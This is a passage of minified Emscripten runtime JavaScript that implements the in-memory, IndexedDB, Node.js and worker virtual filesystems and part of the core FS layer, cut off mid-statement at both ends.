FS.ErrnoError(ERRNO_CODES.EPERM)}if(!MEMFS.ops_table){MEMFS.ops_table={dir:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,lookup:MEMFS.node_ops.lookup,mknod:MEMFS.node_ops.mknod,rename:MEMFS.node_ops.rename,unlink:MEMFS.node_ops.unlink,rmdir:MEMFS.node_ops.rmdir,readdir:MEMFS.node_ops.readdir,symlink:MEMFS.node_ops.symlink},stream:{llseek:MEMFS.stream_ops.llseek}},file:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:{llseek:MEMFS.stream_ops.llseek,read:MEMFS.stream_ops.read,write:MEMFS.stream_ops.write,allocate:MEMFS.stream_ops.allocate,mmap:MEMFS.stream_ops.mmap,msync:MEMFS.stream_ops.msync}},link:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,readlink:MEMFS.node_ops.readlink},stream:{}},chrdev:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:FS.chrdev_stream_ops}}}var node=FS.createNode(parent,name,mode,dev);if(FS.isDir(node.mode)){node.node_ops=MEMFS.ops_table.dir.node;node.stream_ops=MEMFS.ops_table.dir.stream;node.contents={}}else if(FS.isFile(node.mode)){node.node_ops=MEMFS.ops_table.file.node;node.stream_ops=MEMFS.ops_table.file.stream;node.usedBytes=0;node.contents=null}else if(FS.isLink(node.mode)){node.node_ops=MEMFS.ops_table.link.node;node.stream_ops=MEMFS.ops_table.link.stream}else if(FS.isChrdev(node.mode)){node.node_ops=MEMFS.ops_table.chrdev.node;node.stream_ops=MEMFS.ops_table.chrdev.stream}node.timestamp=Date.now();if(parent){parent.contents[name]=node}return node}),getFileDataAsRegularArray:(function(node){if(node.contents&&node.contents.subarray){var arr=[];for(var i=0;i<node.usedBytes;++i)arr.push(node.contents[i]);return arr}return node.contents}),getFileDataAsTypedArray:(function(node){if(!node.contents)return new Uint8Array;if(node.contents.subarray)return node.contents.subarray(0,node.usedBytes);return new Uint8Array(node.contents)}),expandFileStorage:(function(node,newCapacity){if(node.contents&&node.contents.subarray&&newCapacity>node.contents.length){node.contents=MEMFS.getFileDataAsRegularArray(node);node.usedBytes=node.contents.length}if(!node.contents||node.contents.subarray){var prevCapacity=node.contents?node.contents.length:0;if(prevCapacity>=newCapacity)return;var CAPACITY_DOUBLING_MAX=1024*1024;newCapacity=Math.max(newCapacity,prevCapacity*(prevCapacity<CAPACITY_DOUBLING_MAX?2:1.125)|0);if(prevCapacity!=0)newCapacity=Math.max(newCapacity,256);var oldContents=node.contents;node.contents=new Uint8Array(newCapacity);if(node.usedBytes>0)node.contents.set(oldContents.subarray(0,node.usedBytes),0);return}if(!node.contents&&newCapacity>0)node.contents=[];while(node.contents.length<newCapacity)node.contents.push(0)}),resizeFileStorage:(function(node,newSize){if(node.usedBytes==newSize)return;if(newSize==0){node.contents=null;node.usedBytes=0;return}if(!node.contents||node.contents.subarray){var oldContents=node.contents;node.contents=new Uint8Array(new ArrayBuffer(newSize));if(oldContents){node.contents.set(oldContents.subarray(0,Math.min(newSize,node.usedBytes)))}node.usedBytes=newSize;return}if(!node.contents)node.contents=[];if(node.contents.length>newSize)node.contents.length=newSize;else while(node.contents.length<newSize)node.contents.push(0);node.usedBytes=newSize}),node_ops:{getattr:(function(node){var attr={};attr.dev=FS.isChrdev(node.mode)?node.id:1;attr.ino=node.id;attr.mode=node.mode;attr.nlink=1;attr.uid=0;attr.gid=0;attr.rdev=node.rdev;if(FS.isDir(node.mode)){attr.size=4096}else if(FS.isFile(node.mode)){attr.size=node.usedBytes}else if(FS.isLink(node.mode)){attr.size=node.link.length}else{attr.size=0}attr.atime=new Date(node.timestamp);attr.mtime=new Date(node.timestamp);attr.ctime=new Date(node.timestamp);attr.blksize=4096;attr.blocks=Math.ceil(attr.size/attr.blksize);return attr}),setattr:(function(node,attr){if(attr.mode!==undefined){node.mode=attr.mode}if(attr.timestamp!==undefined){node.timestamp=attr.timestamp}if(attr.size!==undefined){MEMFS.resizeFileStorage(node,attr.size)}}),lookup:(function(parent,name){throw FS.genericErrors[ERRNO_CODES.ENOENT]}),mknod:(function(parent,name,mode,dev){return MEMFS.createNode(parent,name,mode,dev)}),rename:(function(old_node,new_dir,new_name){if(FS.isDir(old_node.mode)){var new_node;try{new_node=FS.lookupNode(new_dir,new_name)}catch(e){}if(new_node){for(var i in new_node.contents){throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)}}}delete old_node.parent.contents[old_node.name];old_node.name=new_name;new_dir.contents[new_name]=old_node;old_node.parent=new_dir}),unlink:(function(parent,name){delete parent.contents[name]}),rmdir:(function(parent,name){var node=FS.lookupNode(parent,name);for(var i in node.contents){throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)}delete parent.contents[name]}),readdir:(function(node){var entries=[".",".."];for(var key in node.contents){if(!node.contents.hasOwnProperty(key)){continue}entries.push(key)}return entries}),symlink:(function(parent,newname,oldpath){var node=MEMFS.createNode(parent,newname,511|40960,0);node.link=oldpath;return node}),readlink:(function(node){if(!FS.isLink(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return node.link})},stream_ops:{read:(function(stream,buffer,offset,length,position){var contents=stream.node.contents;if(position>=stream.node.usedBytes)return 0;var size=Math.min(stream.node.usedBytes-position,length);assert(size>=0);if(size>8&&contents.subarray){buffer.set(contents.subarray(position,position+size),offset)}else{for(var i=0;i<size;i++)buffer[offset+i]=contents[position+i]}return size}),write:(function(stream,buffer,offset,length,position,canOwn){if(!length)return 0;var node=stream.node;node.timestamp=Date.now();if(buffer.subarray&&(!node.contents||node.contents.subarray)){if(canOwn){node.contents=buffer.subarray(offset,offset+length);node.usedBytes=length;return length}else if(node.usedBytes===0&&position===0){node.contents=new Uint8Array(buffer.subarray(offset,offset+length));node.usedBytes=length;return length}else if(position+length<=node.usedBytes){node.contents.set(buffer.subarray(offset,offset+length),position);return length}}MEMFS.expandFileStorage(node,position+length);if(node.contents.subarray&&buffer.subarray)node.contents.set(buffer.subarray(offset,offset+length),position);else{for(var i=0;i<length;i++){node.contents[position+i]=buffer[offset+i]}}node.usedBytes=Math.max(node.usedBytes,position+length);return length}),llseek:(function(stream,offset,whence){var position=offset;if(whence===1){position+=stream.position}else if(whence===2){if(FS.isFile(stream.node.mode)){position+=stream.node.usedBytes}}if(position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return position}),allocate:(function(stream,offset,length){MEMFS.expandFileStorage(stream.node,offset+length);stream.node.usedBytes=Math.max(stream.node.usedBytes,offset+length)}),mmap:(function(stream,buffer,offset,length,position,prot,flags){if(!FS.isFile(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}var ptr;var allocated;var contents=stream.node.contents;if(!(flags&2)&&(contents.buffer===buffer||contents.buffer===buffer.buffer)){allocated=false;ptr=contents.byteOffset}else{if(position>0||position+length<stream.node.usedBytes){if(contents.subarray){contents=contents.subarray(position,position+length)}else{contents=Array.prototype.slice.call(contents,position,position+length)}}allocated=true;ptr=_malloc(length);if(!ptr){throw new FS.ErrnoError(ERRNO_CODES.ENOMEM)}buffer.set(contents,ptr)}return{ptr:ptr,allocated:allocated}}),msync:(function(stream,buffer,offset,length,mmapFlags){if(!FS.isFile(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}if(mmapFlags&2){return 0}var bytesWritten=MEMFS.stream_ops.write(stream,buffer,0,length,offset,false);return 0})}};var IDBFS={dbs:{},indexedDB:(function(){if(typeof indexedDB!=="undefined")return indexedDB;var ret=null;if(typeof window==="object")ret=window.indexedDB||window.mozIndexedDB||window.webkitIndexedDB||window.msIndexedDB;assert(ret,"IDBFS used, but indexedDB not supported");return ret}),DB_VERSION:21,DB_STORE_NAME:"FILE_DATA",mount:(function(mount){return MEMFS.mount.apply(null,arguments)}),syncfs:(function(mount,populate,callback){IDBFS.getLocalSet(mount,(function(err,local){if(err)return callback(err);IDBFS.getRemoteSet(mount,(function(err,remote){if(err)return callback(err);var src=populate?remote:local;var dst=populate?local:remote;IDBFS.reconcile(src,dst,callback)}))}))}),getDB:(function(name,callback){var db=IDBFS.dbs[name];if(db){return callback(null,db)}var req;try{req=IDBFS.indexedDB().open(name,IDBFS.DB_VERSION)}catch(e){return callback(e)}if(!req){return callback("Unable to connect to IndexedDB")}req.onupgradeneeded=(function(e){var db=e.target.result;var transaction=e.target.transaction;var fileStore;if(db.objectStoreNames.contains(IDBFS.DB_STORE_NAME)){fileStore=transaction.objectStore(IDBFS.DB_STORE_NAME)}else{fileStore=db.createObjectStore(IDBFS.DB_STORE_NAME)}if(!fileStore.indexNames.contains("timestamp")){fileStore.createIndex("timestamp","timestamp",{unique:false})}});req.onsuccess=(function(){db=req.result;IDBFS.dbs[name]=db;callback(null,db)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),getLocalSet:(function(mount,callback){var entries={};function isRealDir(p){return p!=="."&&p!==".."}function toAbsolute(root){return(function(p){return PATH.join2(root,p)})}var check=FS.readdir(mount.mountpoint).filter(isRealDir).map(toAbsolute(mount.mountpoint));while(check.length){var path=check.pop();var stat;try{stat=FS.stat(path)}catch(e){return callback(e)}if(FS.isDir(stat.mode)){check.push.apply(check,FS.readdir(path).filter(isRealDir).map(toAbsolute(path)))}entries[path]={timestamp:stat.mtime}}return callback(null,{type:"local",entries:entries})}),getRemoteSet:(function(mount,callback){var entries={};IDBFS.getDB(mount.mountpoint,(function(err,db){if(err)return callback(err);var transaction=db.transaction([IDBFS.DB_STORE_NAME],"readonly");transaction.onerror=(function(e){callback(this.error);e.preventDefault()});var store=transaction.objectStore(IDBFS.DB_STORE_NAME);var index=store.index("timestamp");index.openKeyCursor().onsuccess=(function(event){var cursor=event.target.result;if(!cursor){return callback(null,{type:"remote",db:db,entries:entries})}entries[cursor.primaryKey]={timestamp:cursor.key};cursor.continue()})}))}),loadLocalEntry:(function(path,callback){var stat,node;try{var lookup=FS.lookupPath(path);node=lookup.node;stat=FS.stat(path)}catch(e){return callback(e)}if(FS.isDir(stat.mode)){return callback(null,{timestamp:stat.mtime,mode:stat.mode})}else if(FS.isFile(stat.mode)){node.contents=MEMFS.getFileDataAsTypedArray(node);return callback(null,{timestamp:stat.mtime,mode:stat.mode,contents:node.contents})}else{return callback(new Error("node type not supported"))}}),storeLocalEntry:(function(path,entry,callback){try{if(FS.isDir(entry.mode)){FS.mkdir(path,entry.mode)}else if(FS.isFile(entry.mode)){FS.writeFile(path,entry.contents,{encoding:"binary",canOwn:true})}else{return callback(new Error("node type not supported"))}FS.chmod(path,entry.mode);FS.utime(path,entry.timestamp,entry.timestamp)}catch(e){return callback(e)}callback(null)}),removeLocalEntry:(function(path,callback){try{var lookup=FS.lookupPath(path);var stat=FS.stat(path);if(FS.isDir(stat.mode)){FS.rmdir(path)}else if(FS.isFile(stat.mode)){FS.unlink(path)}}catch(e){return callback(e)}callback(null)}),loadRemoteEntry:(function(store,path,callback){var req=store.get(path);req.onsuccess=(function(event){callback(null,event.target.result)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),storeRemoteEntry:(function(store,path,entry,callback){var req=store.put(entry,path);req.onsuccess=(function(){callback(null)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),removeRemoteEntry:(function(store,path,callback){var req=store.delete(path);req.onsuccess=(function(){callback(null)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),reconcile:(function(src,dst,callback){var total=0;var create=[];Object.keys(src.entries).forEach((function(key){var e=src.entries[key];var e2=dst.entries[key];if(!e2||e.timestamp>e2.timestamp){create.push(key);total++}}));var remove=[];Object.keys(dst.entries).forEach((function(key){var e=dst.entries[key];var e2=src.entries[key];if(!e2){remove.push(key);total++}}));if(!total){return callback(null)}var completed=0;var db=src.type==="remote"?src.db:dst.db;var transaction=db.transaction([IDBFS.DB_STORE_NAME],"readwrite");var store=transaction.objectStore(IDBFS.DB_STORE_NAME);function done(err){if(err){if(!done.errored){done.errored=true;return callback(err)}return}if(++completed>=total){return callback(null)}}transaction.onerror=(function(e){done(this.error);e.preventDefault()});create.sort().forEach((function(path){if(dst.type==="local"){IDBFS.loadRemoteEntry(store,path,(function(err,entry){if(err)return done(err);IDBFS.storeLocalEntry(path,entry,done)}))}else{IDBFS.loadLocalEntry(path,(function(err,entry){if(err)return done(err);IDBFS.storeRemoteEntry(store,path,entry,done)}))}}));remove.sort().reverse().forEach((function(path){if(dst.type==="local"){IDBFS.removeLocalEntry(path,done)}else{IDBFS.removeRemoteEntry(store,path,done)}}))})};var NODEFS={isWindows:false,staticInit:(function(){NODEFS.isWindows=!!process.platform.match(/^win/)}),mount:(function(mount){assert(ENVIRONMENT_IS_NODE);return NODEFS.createNode(null,"/",NODEFS.getMode(mount.opts.root),0)}),createNode:(function(parent,name,mode,dev){if(!FS.isDir(mode)&&!FS.isFile(mode)&&!FS.isLink(mode)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var node=FS.createNode(parent,name,mode);node.node_ops=NODEFS.node_ops;node.stream_ops=NODEFS.stream_ops;return node}),getMode:(function(path){var stat;try{stat=fs.lstatSync(path);if(NODEFS.isWindows){stat.mode=stat.mode|(stat.mode&146)>>1}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return stat.mode}),realPath:(function(node){var parts=[];while(node.parent!==node){parts.push(node.name);node=node.parent}parts.push(node.mount.opts.root);parts.reverse();return PATH.join.apply(null,parts)}),flagsToPermissionStringMap:{0:"r",1:"r+",2:"r+",64:"r",65:"r+",66:"r+",129:"rx+",193:"rx+",514:"w+",577:"w",578:"w+",705:"wx",706:"wx+",1024:"a",1025:"a",1026:"a+",1089:"a",1090:"a+",1153:"ax",1154:"ax+",1217:"ax",1218:"ax+",4096:"rs",4098:"rs+"},flagsToPermissionString:(function(flags){flags&=~2097152;flags&=~2048;flags&=~32768;flags&=~524288;if(flags in NODEFS.flagsToPermissionStringMap){return NODEFS.flagsToPermissionStringMap[flags]}else{throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}}),node_ops:{getattr:(function(node){var path=NODEFS.realPath(node);var stat;try{stat=fs.lstatSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}if(NODEFS.isWindows&&!stat.blksize){stat.blksize=4096}if(NODEFS.isWindows&&!stat.blocks){stat.blocks=(stat.size+stat.blksize-1)/stat.blksize|0}return{dev:stat.dev,ino:stat.ino,mode:stat.mode,nlink:stat.nlink,uid:stat.uid,gid:stat.gid,rdev:stat.rdev,size:stat.size,atime:stat.atime,mtime:stat.mtime,ctime:stat.ctime,blksize:stat.blksize,blocks:stat.blocks}}),setattr:(function(node,attr){var path=NODEFS.realPath(node);try{if(attr.mode!==undefined){fs.chmodSync(path,attr.mode);node.mode=attr.mode}if(attr.timestamp!==undefined){var date=new Date(attr.timestamp);fs.utimesSync(path,date,date)}if(attr.size!==undefined){fs.truncateSync(path,attr.size)}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),lookup:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);var mode=NODEFS.getMode(path);return NODEFS.createNode(parent,name,mode)}),mknod:(function(parent,name,mode,dev){var node=NODEFS.createNode(parent,name,mode,dev);var path=NODEFS.realPath(node);try{if(FS.isDir(node.mode)){fs.mkdirSync(path,node.mode)}else{fs.writeFileSync(path,"",{mode:node.mode})}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return node}),rename:(function(oldNode,newDir,newName){var oldPath=NODEFS.realPath(oldNode);var newPath=PATH.join2(NODEFS.realPath(newDir),newName);try{fs.renameSync(oldPath,newPath)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),unlink:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);try{fs.unlinkSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),rmdir:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);try{fs.rmdirSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),readdir:(function(node){var path=NODEFS.realPath(node);try{return fs.readdirSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),symlink:(function(parent,newName,oldPath){var newPath=PATH.join2(NODEFS.realPath(parent),newName);try{fs.symlinkSync(oldPath,newPath)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),readlink:(function(node){var path=NODEFS.realPath(node);try{path=fs.readlinkSync(path);path=NODEJS_PATH.relative(NODEJS_PATH.resolve(node.mount.opts.root),path);return path}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}})},stream_ops:{open:(function(stream){var path=NODEFS.realPath(stream.node);try{if(FS.isFile(stream.node.mode)){stream.nfd=fs.openSync(path,NODEFS.flagsToPermissionString(stream.flags))}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),close:(function(stream){try{if(FS.isFile(stream.node.mode)&&stream.nfd){fs.closeSync(stream.nfd)}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),read:(function(stream,buffer,offset,length,position){if(length===0)return 0;var nbuffer=new Buffer(length);var res;try{res=fs.readSync(stream.nfd,nbuffer,0,length,position)}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}if(res>0){for(var i=0;i<res;i++){buffer[offset+i]=nbuffer[i]}}return res}),write:(function(stream,buffer,offset,length,position){var nbuffer=new Buffer(buffer.subarray(offset,offset+length));var res;try{res=fs.writeSync(stream.nfd,nbuffer,0,length,position)}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}return res}),llseek:(function(stream,offset,whence){var position=offset;if(whence===1){position+=stream.position}else if(whence===2){if(FS.isFile(stream.node.mode)){try{var stat=fs.fstatSync(stream.nfd);position+=stat.size}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}}}if(position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return position})}};var WORKERFS={DIR_MODE:16895,FILE_MODE:33279,reader:null,mount:(function(mount){assert(ENVIRONMENT_IS_WORKER);if(!WORKERFS.reader)WORKERFS.reader=new FileReaderSync;var root=WORKERFS.createNode(null,"/",WORKERFS.DIR_MODE,0);var createdParents={};function ensureParent(path){var parts=path.split("/");var parent=root;for(var i=0;i<parts.length-1;i++){var curr=parts.slice(0,i+1).join("/");if(!createdParents[curr]){createdParents[curr]=WORKERFS.createNode(parent,parts[i],WORKERFS.DIR_MODE,0)}parent=createdParents[curr]}return parent}function base(path){var parts=path.split("/");return parts[parts.length-1]}Array.prototype.forEach.call(mount.opts["files"]||[],(function(file){WORKERFS.createNode(ensureParent(file.name),base(file.name),WORKERFS.FILE_MODE,0,file,file.lastModifiedDate)}));(mount.opts["blobs"]||[]).forEach((function(obj){WORKERFS.createNode(ensureParent(obj["name"]),base(obj["name"]),WORKERFS.FILE_MODE,0,obj["data"])}));(mount.opts["packages"]||[]).forEach((function(pack){pack["metadata"].files.forEach((function(file){var name=file.filename.substr(1);WORKERFS.createNode(ensureParent(name),base(name),WORKERFS.FILE_MODE,0,pack["blob"].slice(file.start,file.end))}))}));return root}),createNode:(function(parent,name,mode,dev,contents,mtime){var node=FS.createNode(parent,name,mode);node.mode=mode;node.node_ops=WORKERFS.node_ops;node.stream_ops=WORKERFS.stream_ops;node.timestamp=(mtime||new Date).getTime();assert(WORKERFS.FILE_MODE!==WORKERFS.DIR_MODE);if(mode===WORKERFS.FILE_MODE){node.size=contents.size;node.contents=contents}else{node.size=4096;node.contents={}}if(parent){parent.contents[name]=node}return node}),node_ops:{getattr:(function(node){return{dev:1,ino:undefined,mode:node.mode,nlink:1,uid:0,gid:0,rdev:undefined,size:node.size,atime:new Date(node.timestamp),mtime:new Date(node.timestamp),ctime:new Date(node.timestamp),blksize:4096,blocks:Math.ceil(node.size/4096)}}),setattr:(function(node,attr){if(attr.mode!==undefined){node.mode=attr.mode}if(attr.timestamp!==undefined){node.timestamp=attr.timestamp}}),lookup:(function(parent,name){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}),mknod:(function(parent,name,mode,dev){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),rename:(function(oldNode,newDir,newName){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),unlink:(function(parent,name){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),rmdir:(function(parent,name){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),readdir:(function(node){var entries=[".",".."];for(var key in node.contents){if(!node.contents.hasOwnProperty(key)){continue}entries.push(key)}return entries}),symlink:(function(parent,newName,oldPath){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}),readlink:(function(node){throw new FS.ErrnoError(ERRNO_CODES.EPERM)})},stream_ops:{read:(function(stream,buffer,offset,length,position){if(position>=stream.node.size)return 0;var chunk=stream.node.contents.slice(position,position+length);var ab=WORKERFS.reader.readAsArrayBuffer(chunk);buffer.set(new Uint8Array(ab),offset);return chunk.size}),write:(function(stream,buffer,offset,length,position){throw new FS.ErrnoError(ERRNO_CODES.EIO)}),llseek:(function(stream,offset,whence){var position=offset;if(whence===1){position+=stream.position}else if(whence===2){if(FS.isFile(stream.node.mode)){position+=stream.node.size}}if(position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return position})}};STATICTOP+=16;STATICTOP+=16;STATICTOP+=16;var FS={root:null,mounts:[],devices:[null],streams:[],nextInode:1,nameTable:null,currentPath:"/",initialized:false,ignorePermissions:true,trackingDelegate:{},tracking:{openFlags:{READ:1,WRITE:2}},ErrnoError:null,genericErrors:{},filesystems:null,syncFSRequests:0,handleFSError:(function(e){if(!(e instanceof FS.ErrnoError))throw e+" : "+stackTrace();return ___setErrNo(e.errno)}),lookupPath:(function(path,opts){path=PATH.resolve(FS.cwd(),path);opts=opts||{};if(!path)return{path:"",node:null};var defaults={follow_mount:true,recurse_count:0};for(var key in defaults){if(opts[key]===undefined){opts[key]=defaults[key]}}if(opts.recurse_count>8){throw new FS.ErrnoError(ERRNO_CODES.ELOOP)}var parts=PATH.normalizeArray(path.split("/").filter((function(p){return!!p})),false);var current=FS.root;var current_path="/";for(var i=0;i<parts.length;i++){var islast=i===parts.length-1;if(islast&&opts.parent){break}current=FS.lookupNode(current,parts[i]);current_path=PATH.join2(current_path,parts[i]);if(FS.isMountpoint(current)){if(!islast||islast&&opts.follow_mount){current=current.mounted.root}}if(!islast||opts.follow){var count=0;while(FS.isLink(current.mode)){var link=FS.readlink(current_path);current_path=PATH.resolve(PATH.dirname(current_path),link);var lookup=FS.lookupPath(current_path,{recurse_count:opts.recurse_count});current=lookup.node;if(count++>40){throw new FS.ErrnoError(ERRNO_CODES.ELOOP)}}}}return{path:current_path,node:current}}),getPath:(function(node){var path;while(true){if(FS.isRoot(node)){var mount=node.mount.mountpoint;if(!path)return mount;return mount[mount.length-1]!=="/"?mount+"/"+path:mount+path}path=path?node.name+"/"+path:node.name;node=node.parent}}),hashName:(function(parentid,name){var hash=0;for(var i=0;i<name.length;i++){hash=(hash<<5)-hash+name.charCodeAt(i)|0}return(parentid+hash>>>0)%FS.nameTable.length}),hashAddNode:(function(node){var hash=FS.hashName(node.parent.id,node.name);node.name_next=FS.nameTable[hash];FS.nameTable[hash]=node}),hashRemoveNode:(function(node){var hash=FS.hashName(node.parent.id,node.name);if(FS.nameTable[hash]===node){FS.nameTable[hash]=node.name_next}else{var current=FS.nameTable[hash];while(current){if(current.name_next===node){current.name_next=node.name_next;break}current=current.name_next}}}),lookupNode:(function(parent,name){var err=FS.mayLookup(parent);if(err){throw new FS.ErrnoError(err,parent)}var hash=FS.hashName(parent.id,name);for(var node=FS.nameTable[hash];node;node=node.name_next){var nodeName=node.name;if(node.parent.id===parent.id&&nodeName===name){return node}}return FS.lookup(parent,name)}),createNode:(function(parent,name,mode,rdev){if(!FS.FSNode){FS.FSNode=(function(parent,name,mode,rdev){if(!parent){parent=this}this.parent=parent;this.mount=parent.mount;this.mounted=null;this.id=FS.nextInode++;this.name=name;this.mode=mode;this.node_ops={};this.stream_ops={};this.rdev=rdev});FS.FSNode.prototype={};var readMode=292|73;var writeMode=146;Object.defineProperties(FS.FSNode.prototype,{read:{get:(function(){return(this.mode&readMode)===readMode}),set:(function(val){val?this.mode|=readMode:this.mode&=~readMode})},write:{get:(function(){return(this.mode&writeMode)===writeMode}),set:(function(val){val?this.mode|=writeMode:this.mode&=~writeMode})},isFolder:{get:(function(){return FS.isDir(this.mode)})},isDevice:{get:(function(){return FS.isChrdev(this.mode)})}})}var node=new FS.FSNode(parent,name,mode,rdev);FS.hashAddNode(node);return node}),destroyNode:(function(node){FS.hashRemoveNode(node)}),isRoot:(function(node){return node===node.parent}),isMountpoint:(function(node){return!!node.mounted}),isFile:(function(mode){return(mode&61440)===32768}),isDir:(function(mode){return(mode&61440)===16384}),isLink:(function(mode){return(mode&61440)===40960}),isChrdev:(function(mode){return(mode&61440)===8192}),isBlkdev:(function(mode){return(mode&61440)===24576}),isFIFO:(function(mode){return(mode&61440)===4096}),isSocket:(function(mode){return(mode&49152)===49152}),flagModes:{"r":0,"rs":1052672,"r+":2,"w":577,"wx":705,"xw":705,"w+":578,"wx+":706,"xw+":706,"a":1089,"ax":1217,"xa":1217,"a+":1090,"ax+":1218,"xa+":1218},modeStringToFlags:(function(str){var flags=FS.flagModes[str];if(typeof flags==="undefined"){throw new Error("Unknown file open mode: "+str)}return flags}),flagsToPermissionString:(function(flag){var perms=["r","w","rw"][flag&3];if(flag&512){perms+="w"}return perms}),nodePermissions:(function(node,perms){if(FS.ignorePermissions){return 0}if(perms.indexOf("r")!==-1&&!(node.mode&292)){return ERRNO_CODES.EACCES}else if(perms.indexOf("w")!==-1&&!(node.mode&146)){return ERRNO_CODES.EACCES}else if(perms.indexOf("x")!==-1&&!(node.mode&73)){return ERRNO_CODES.EACCES}return 0}),mayLookup:(function(dir){var err=FS.nodePermissions(dir,"x");if(err)return err;if(!dir.node_ops.lookup)return ERRNO_CODES.EACCES;return 0}),mayCreate:(function(dir,name){try{var node=FS.lookupNode(dir,name);return ERRNO_CODES.EEXIST}catch(e){}return FS.nodePermissions(dir,"wx")}),mayDelete:(function(dir,name,isdir){var node;try{node=FS.lookupNode(dir,name)}catch(e){return e.errno}var err=FS.nodePermissions(dir,"wx");if(err){return err}if(isdir){if(!FS.isDir(node.mode)){return ERRNO_CODES.ENOTDIR}if(FS.isRoot(node)||FS.getPath(node)===FS.cwd()){return ERRNO_CODES.EBUSY}}else{if(FS.isDir(node.mode)){return ERRNO_CODES.EISDIR}}return 0}),mayOpen:(function(node,flags){if(!node){return ERRNO_CODES.ENOENT}if(FS.isLink(node.mode)){return ERRNO_CODES.ELOOP}else if(FS.isDir(node.mode)){if(FS.flagsToPermissionString(flags)!=="r"||flags&512){return ERRNO_CODES.EISDIR}}return FS.nodePermissions(node,FS.flagsToPermissionString(flags))}),MAX_OPEN_FDS:4096,nextfd:(function(fd_start,fd_end){fd_start=fd_start||0;fd_end=fd_end||FS.MAX_OPEN_FDS;for(var fd=fd_start;fd<=fd_end;fd++){if(!FS.streams[fd]){return fd}}throw new FS.ErrnoError(ERRNO_CODES.EMFILE)}),getStream:(function(fd){return FS.streams[fd]}),createStream:(function(stream,fd_start,fd_end){if(!FS.FSStream){FS.FSStream=(function(){});FS.FSStream.prototype={};Object.defineProperties(FS.FSStream.prototype,{object:{get:(function(){return this.node}),set:(function(val){this.node=val})},isRead:{get:(function(){return(this.flags&2097155)!==1})},isWrite:{get:(function(){return(this.flags&2097155)!==0})},isAppend:{get:(function(){return this.flags&1024})}})}var newStream=new FS.FSStream;for(var p in stream){newStream[p]=stream[p]}stream=newStream;var fd=FS.nextfd(fd_start,fd_end);stream.fd=fd;FS.streams[fd]=stream;return stream}),closeStream:(function(fd){FS.streams[fd]=null}),chrdev_stream_ops:{open:(function(stream){var device=FS.getDevice(stream.node.rdev);stream.stream_ops=device.stream_ops;if(stream.stream_ops.open){stream.stream_ops.open(stream)}}),llseek:(function(){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)})},major:(function(dev){return dev>>8}),minor:(function(dev){return dev&255}),makedev:(function(ma,mi){return ma<<8|mi}),registerDevice:(function(dev,ops){FS.devices[dev]={stream_ops:ops}}),getDevice:(function(dev){return FS.devices[dev]}),getMounts:(function(mount){var mounts=[];var check=[mount];while(check.length){var m=check.pop();mounts.push(m);check.push.apply(check,m.mounts)}return mounts}),syncfs:(function(populate,callback){if(typeof populate==="function"){callback=populate;populate=false}FS.syncFSRequests++;if(FS.syncFSRequests>1){console.log("warning: "+FS.syncFSRequests+" FS.syncfs operations in flight at once, probably just doing extra work")}var mounts=FS.getMounts(FS.root.mount);var completed=0;function doCallback(err){assert(FS.syncFSRequests>0);FS.syncFSRequests--;return callback(err)}function done(err){if(err){if(!done.errored){done.errored=true;return doCallback(err)}return}if(++completed>=mounts.length){doCallback(null)}}mounts.forEach((function(mount){if(!mount.type.syncfs){return done(null)}mount.type.syncfs(mount,populate,done)}))}),mount:(function(type,opts,mountpoint){var root=mountpoint==="/";var pseudo=!mountpoint;var node;if(root&&FS.root){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}else if(!root&&!pseudo){var lookup=FS.lookupPath(mountpoint,{follow_mount:false});mountpoint=lookup.path;node=lookup.node;if(FS.isMountpoint(node)){throw new 